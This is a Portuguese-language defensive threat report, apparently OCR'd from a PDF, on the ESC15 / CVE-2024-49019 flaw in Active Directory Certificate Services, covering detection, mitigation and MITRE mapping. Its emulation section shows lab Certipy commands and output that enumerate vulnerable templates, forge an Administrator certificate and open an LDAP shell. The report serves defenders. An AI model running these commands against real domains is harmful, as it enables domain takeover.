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1 INTRODUGAO EXECUTIVA

Este relatdorio busca apresentar uma analise estratégica, tatica e
operacional sobre a vulnerabilidade ESC15, catalogada como ,
que afeta ambientes de Active Directory Certificate Services (AD CS). A
exploragao do problema permite a emissao de certificados forjados com politicas
de aplicagcdo arbitrarias, possibilitando autenticagcdo indevida e escalada de
privilégios em redes corporativas.

O documento fornece visédo integrada do risco, mecanismos técnicos de
exploracao, métodos de deteccao, mitigagdo e mapeamento as taticas e técnicas
do MITRE ATT&CK, servindo como guia de defesa para equipes de seguranca.

2 ESTRATEGICO

2.1 INTRODUCAO

A vulnerabilidade ESC15 representa um risco estratégico critico para
ambientes que utilizam certificados de versdo 1 com a opc¢ao Sujeito informado na
solicitagado habilitada. Esse cenario permite que usuarios com direitos de inscrigao
injetem Application Policies ndo previstas, resultando na emissao de certificados
indevidos, como Client Authentication ou Certificate Request Agent.

O impacto é significativo: um ator de ameaca pode converter credenciais de
baixo privilégio em acesso de administrador de dominio, comprometendo toda a
infraestrutura de autenticacdo baseada em Active Directory. Isso amplia o risco
de movimentos laterais, escalonamento de privilégios e controle indevido de
sistemas criticos da organizacao. A gravidade desse alerta reforca a necessidade
de revisdo imediata dos modelos de certificado em uso e a aplicagédo de controles
compensatdrios que reduzam a superficie de ataque associada a esta falha légica.

2.2 VITIMOLOGIA E SEGMENTOS IMPACTADOS

Apesar de sua complexidade técnica moderada, tem sido amplamente
adotada por cibercriminosos por sua eficacia contra ambientes mal configurados.
Os principais setores impactados incluem:

e Setor financeiro: instituicdes que mantém ADs extensos e herdados, onde
modelos de certificado padrdo permanecem publicados.

o Infraestruturas criticas e governo: forte dependéncia de certificados para
autenticacdo e legado de AD CS mal configurados tornam esses alvos
altamente suscetiveis.

e Educacao e pesquisa: universidades com ambientes heterogéneos e
controles de emissdo pouco rigidos.
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e Saude e manufatura: presenca de sistemas industriais (OT/ICS) integrados
ao dominio Windows, onde credenciais forjadas podem resultar em
paralisacdes operacionais.

e Empresas de tecnologia: dominios hibridos com multiplos servigos
internos, uso de automacéo e grande numero de contas de servico.

Em geral, qualquer organizacéo que utilize AD CS com modelos de verséo 1
publicados encontra-se exposta. Atores maliciosos tém demonstrado interesse
em abusar da técnica como parte da escalada pdés-comprometimento inicial.
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3 TATICO

3.1 FUNCIONAMENTO DO PROTOCOLO KERBEROS EM AMBIENTE WINDOWS

O ESC15 é uma vulnerabilidade légica que decorre do modo como os
modelos de certificado de versao 1 do Active Directory Certificate Services tratam
o atributo Application Policies. Quando a op¢ao sujeito informado na solicitacao
esta habilitada, o servico de autoridade certificadora permite que o proéprio
solicitante forneca valores que, posteriormente, serdo replicados no certificado
emitido. Esse comportamento, que deveria apenas flexibilizar cenarios legitimos
de autenticacéo, abre espaco para que um ator de ameaca injete politicas de uso
nao previstas originalmente no modelo.

O ponto critico € que, em ambientes Windows, os controladores de dominio
dao prioridade a avaliagao das Application Policies sobre a analise dos EKUs
definidos no modelo de certificado. Isso significa que, mesmo que o modelo
publicado especifique apenas finalidades como “Servidor Web” ou “Assinatura de
Cédigo”, um adversario pode manipular o pedido e introduzir a politica de Client
Authentication. Na pratica, esse desvio converte um certificado aparentemente
inofensivo em uma credencial valida para autenticacao de usuarios, inclusive de
contas de alto privilégio como administradores de dominio.

O fluxo tatico do ataque geralmente inicia com o comprometimento de uma
conta de usuario comum. Em seguida, o invasor realiza a enumeracao de modelos
publicados e identifica aqueles que sao vulneraveis, ou seja, modelos de versao 1
com “sujeito” informado habilitado e nos quais a conta comprometida possui
permissao de inscricdo. Uma vez identificado um modelo vulneravel, o adversario
formula um pedido de certificado malicioso. Nesse pedido, ele especifica o UPN
(User Principal Name) de uma conta privilegiada como sendo o “sujeito” e insere a
politica de autenticacao de cliente. Como o AD CS nao valida de forma adequada
essa manipulacao, o certificado é emitido com éxito. Com esse certificado em
maos, o adversario consegue autenticar-se diretamente nos controladores de
dominio via PKINIT, ou ainda explorar mapeamentos de certificado implicitos e
explicitos para assumir a identidade da conta alvo.

Portanto, a exploragcdo do ESC15 nao exige exploracdo de memédria ou
execugao de cddigo arbitrario, mas sim um abuso de confianca e design, o que
aumenta a atratividade para operadores de ameaca. E um ataque silencioso, que
utiliza canais legitimos e certificados validos, reduzindo a probabilidade de disparo
de alertas em defesas tradicionais.
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4 OPERACIONAL

4.1 EMULACAO

Pré-requisito: Credenciais de usuario do dominio com permissao de emisséao de
certificados.

Ferramentas como Certipy ja oferecem suporte a exploragao de ESC15. O fluxo
de emulacao envolve:

e Descobrir modelos vulneraveis (certipy find).
e Solicitar certificado com Application Policy arbitraria (certipy req).

e Usar o certificado emitido para autenticacdo direta ou para forjar logon de
uma conta privilegiada.

Como mencionado primeiro € realizado um reconhecimento de modelos
vulneraveis no AD CS.

L ¢ certipy find -u 'joao@purple.local’ -p Lal -dc-ip 192.168.68.74 -vulnerable -enabled
Certipy v4.8.2 - by Oliver Lyak (lyzk)

[*] Finding certificate templates

[*] Found 33 certificate templates

[*] Finding certificate authorities

[*] Found 1 certificate authority

[+#] Found 11 enabled certificate templates

[*] Trying to get CA configuration for 'purple-NOT-FIN-001-CA' via CSRA

[!] Got error while trying to get CA configuration for 'purple-NOT-FIN-0@1-CA' via CSRA: CASessionError: code: 0x8007(
denied error.

[*] Trying to get CA configuration for 'purple-NOT-FIN-001-CA' via RRP

[!] Failed to connect to remote registry. Service should be starting now. Trying again...

[*] Got CA configuration for 'purple-NOT-FIN-@01-CA'

[*] Saved BloodHound data to '20250929221547 Certipy.zip'. Drag and drop the file into the BloodHound GUI from aly4k
[*] Saved text output to '20250929221547 Certipy.txt'

[*] Saved JSON output to '20250929221547 Certipy.json'

Figura 1 - Enumeragéao de modelos vulnerdveis

L4 tail 20250929221547_Certipy.txt
Object Control Permissions

Owner : PURPLE.LOCAL\Enterprise Admins
Write Owner Principals : PURPLE.LOCAL\Domain Admins
PURPLE.LOCAL\Enterprise Admins
Write Dacl Principals : PURPLE.LOCAL\Domain Admins
PURPLE.LOCAL\Enterprise Admins
Write Property Principals : PURPLE.LOCAL\Domain Admins

PURPLE.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC15 : | "PURPLE.LOCAL\\Everyone' can enroll, enrollee supplies subject and schema version is 1

Figura 2 - Descoberta de modelo vulneravel

Apods a identificacdo de um modelo vulneravel a ESC15, é possivel explora-
lo para solicitar um certificado em nome de outro usudrio, neste caso um
administrador.

L certipy req -dc-ip 192.168.68.74 -ca purple-NOT-FIN-@01-CA -target-ip 192.168.68.74 -u joao@purple.local -p 'Lz -template WebServer -upn Administ
ratordpurple.local --application-policies 'Client Authentication'
Certipy v4.8.2 - by Oliver Lyak (lysk)

*] Requesting certificate via RPC

*] Successfully requested certificate

%] Request ID is &

*] Got certificate with UPN "Administrator@purple.local”
*] Certificate has no object SID

*] Saved certificate and private key to 'administrator.pfx"

[
[
[
[
[
[

Figura 3 - Explorando o ESC15 e gerando um certificado
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L certipy auth -pfx administrator.pfx -dc-ip 192.168.68.74 -ldap-shell
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Connecting to 'ldaps://192.168.68.74:636"
[*] Authenticated to '192.168.68.74' as: u:PURPLE\Administrator
Type help for list of commands

# whoami
u:PURPLENAdministrator

Figura 4 - Escalando privilégios com o certificado gerado

4.2 METOoDOS DE DETECCAO: ESC15

Inventario de modelos:

e |dentificartodos os modelos de versao 1 publicados e verificar se permitem
sujeito informado na solicitagdo.

Monitoramento de emissoes:

e Procurar certificados emitidos com Application Policies que nao
correspondem ao EKU original do modelo.

Logs de autenticacao:
e Correlacionar uso de certificados de autenticagdo em contas

administrativas com modelos de certificado nao destinados a esse
propésito.

4.3 MITIGACAO DE ATAQUE: ESC15
e Aplicar patch oficial da Microsoft (hovembro de 2024).
e Revogar e republicar modelos em verséo 2 ou superior.

e Desabilitar Sujeito informado na solicitagdo em todos os modelos
publicados.

e Restringir permissdoes de inscricdo a grupos administrativos
controlados.

e Revisar periodicamente certificados emitidos e revogar os suspeitos.
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4.4 TABELAMITRE ATT&CK

Este tdpico apresenta as Taticas, Técnicas e Procedimentos (TTPs)
identificados nesta ameaca, conforme o framework MITRE ATT&CK, oferecendo
uma visao tatica detalhada sobre o comportamento do adversario. O objetivo é
permitir o mapeamento das técnicas utilizadas pelos atacantes, facilitando a
implementacdo de contramedidas eficazes e o aprimoramento das defesas de
seguranca.

T1649

Steal or Forge Adversarios roubam ou forjam
Authentication certificados de autenticacao.
Certificates
Tabela 1 - Tabela MITRE ATT&CK.
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5 CONCLUSAO

O ESC15/ CVE-2024-49019 constitui um vetor de ataque critico contra o AD
CS, explorando uma falha légica em templates de certificado de versao 1 com a
opcao Supply in Request habilitada. Essa condigao permite que atores de ameacga,
mesmo com credenciais de baixo privilégio e direitos de inscricdo, emitam
certificados contendo Application Policies nao autorizadas, como Client
Authentication ou Certificate Request Agent.

A exploragao ocorre com baixo esforgo técnico, utilizando ferramentas
publicas, e possibilita a obtengdo de autenticacao privilegiada com minima
visibilidade, ampliando o risco de escalonamento de privilégios e
comprometimento da infraestrutura de identidade baseada em Active Directory.
Esse cenario evidencia a criticidade do vetor, por se apoiar em um design herdado
e facilmente manipulavel, tornando-se uma ameaca significativa a resiliéncia
organizacional.
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6 RECOMENDACOES

Com base na analise da vulnerabilidade ESC15, sao apresentadas a seguir
recomendacdes estratégicas e praticas para mitigar riscos e fortalecer a postura
de seguranca em ambientes Active Directory Certificate Services (AD CS). A defesa
contra esse tipo de ataque ndo depende apenas da aplicacio de patches, mas de
um processo continuo de hardening, monitoramento e validagao de controles.

Hardening de modelos de certificado

e Elimine o uso de modelos de versao 1 em AD CS. Sempre que possivel,
migre para versao 2 ou superior, que oferecem maior controle e mitigam
diretamente o vetor explorado.

e Desabilite a opcido “Sujeito informado na solicitacdo” em todos os
modelos publicados, exceto nos cenarios estritamente necessarios e sob
controle rigido de governanca.

e Restrinja permissdes de inscricdo, garantindo que apenas grupos
administrativos controlados possam solicitar certificados em modelos
sensiveis.

Revisao de certificados emitidos

o Realize inventarios periddicos para identificar certificados emitidos com
Application Policies que ndo correspondem ao EKU original do modelo.

e Revogue certificados suspeitos ou que apresentem divergéncias de
finalidade, reforgando listas de revogacdo e a confianga na cadeia de
certificagado interna.

Atualizagdes e correcdes

e Aplique o patch oficial da Microsoft referente ao CVE-2024-49019,
garantindo que todos os servidores de AD CS e Enrollment Agents estejam
atualizados.

e Apds a aplicacao do patch, valide a efetividade da correcdo por meio de
testes controlados de emisséo.

Monitoramento e detecc¢ao

e Ative auditorias em logs de emissao de certificados e correlacione-os com
eventos de autenticacao Kerberos.

e Crieregras no SIEM para identificar certificados de autenticacdo de cliente
emitidos por modelos originalmente destinados a outros usos.

Reducao da superficie de ataque

e Evite publicar modelos herdados desnecessarios, especialmente aqueles
que possuam finalidades pouco utilizadas.

O
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e Revise periodicamente a lista de modelos disponiveis e elimine duplicatas
ou modelos de teste que possam ser explorados inadvertidamente.
Validacao de controles e simulacao

e Realize exercicios de Red Team e Blue Team para simular ataques
baseados no ESC15, avaliando a eficacia das defesas.

e Estabelecga processos regulares de Threat Hunting, focados em identificar
certificados an6malos e comportamentos de autenticagao suspeitos.
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6.1 INDICADORES DE COMPROMETIMENTO (l0C)

Para verificar comprometimentos em contas de servigo, alguns dados
podem ser Uteis, além dos eventos e pardmetros destacados na secio de
deteccao, outros dados podem contribuir para a analise, como logs de execucao
do PowerShell, que permitem verificar atividades maliciosas no host que realizou a
solicitagdo.

Eventos de log relevantes:

e 4886 (AD CS): emissao de certificado.
o 4768/ 4769 (Kerberos): solicitacoes de TGT/TGS usando certificados.
e 4624 (Logon): autenticagcdo com certificado em contas privilegiadas.

Artefatos de ataque

e Execucao de ferramentas como Certipy ou Certutil com pardmetros de
requisicdo incomuns.
o Certificados exportados/localizados em hosts comprometidos.
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